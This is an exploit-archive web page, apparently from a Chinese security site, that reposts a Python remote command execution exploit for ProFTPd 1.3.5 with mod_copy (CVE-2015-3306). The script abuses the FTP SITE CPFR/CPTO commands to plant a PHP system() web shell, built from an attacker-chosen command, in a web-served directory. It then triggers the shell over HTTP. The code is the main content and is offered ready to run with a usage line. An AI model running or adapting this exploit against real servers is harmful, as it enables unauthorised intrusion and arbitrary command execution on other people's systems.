首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ProFTPd 1.3.5 - Remote Command Execution Exploit
来源:http://infogen.al/ 作者:R-73eN 发布时间:2015-04-22  
# Title: ProFTPd 1.3.5 Remote Command Execution
# Date : 20/04/2015
# Author: R-73eN
# Software: ProFTPd 1.3.5 with mod_copy
# Tested : Kali Linux 1.06
# CVE : 2015-3306
# Greetz to Vadim Melihow for all the hard work .
import socket
import sys
import requests
#Banner
banner = ""
banner += "  ___        __        ____                 _    _  \n" 
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if(len(sys.argv) < 4):
    print '\n Usage : exploit.py server directory cmd'
else:
    server = sys.argv[1] #Vulnerable Server
    directory = sys.argv[2] # Path accessible from web .....
    cmd = sys.argv[3] #PHP payload to be executed
    evil = '<?php system("' + cmd + '") ?>'
    s.connect((server, 21))
    s.recv(1024)
    print '[ + ] Connected to server [ + ] \n'
    s.send('site cpfr /etc/passwd')
    s.recv(1024)
    s.send('site cpto ' + evil)
    s.recv(1024)
    s.send('site cpfr /proc/self/fd/3')
    s.recv(1024)
    s.send('site cpto ' + directory + 'infogen.php')
    s.recv(1024)
    s.close()
    print '[ + ] Payload sended [ + ]\n'
    print '[ + ] Executing Payload [ + ]\n'
    r = requests.get('http://' + server + '/infogen.php') #Executing PHP payload through HTTP
    if (r.status_code == 200):
        print '[ * ] Payload Executed Succesfully [ * ]'
    else:
        print ' [ - ] Error : ' + str(r.status_code) + ' [ - ]'
           

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·OpenBSD 5.6 - Multiple Local K
·Wolf CMS 0.8.2 Arbitrary File
·Apple MAC OS X < 10.9/10 - Loc
·MooPlayer 1.3.0 'm3u' SEH Buff
·WordPress SlideShow Gallery Au
·ProFTPd CPFR / CPTO Proof Of C
·Adobe Flash Player copyPixelsT
·ZYXEL P-660HN-T1H_IPv6 Remote
·WordPress Reflex Gallery Uploa
·Ubuntu usb-creator 0.2.x - Loc
·WordPress N-Media Website Cont
·Free MP3 CD Ripper 2.6 2.8 (.w
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved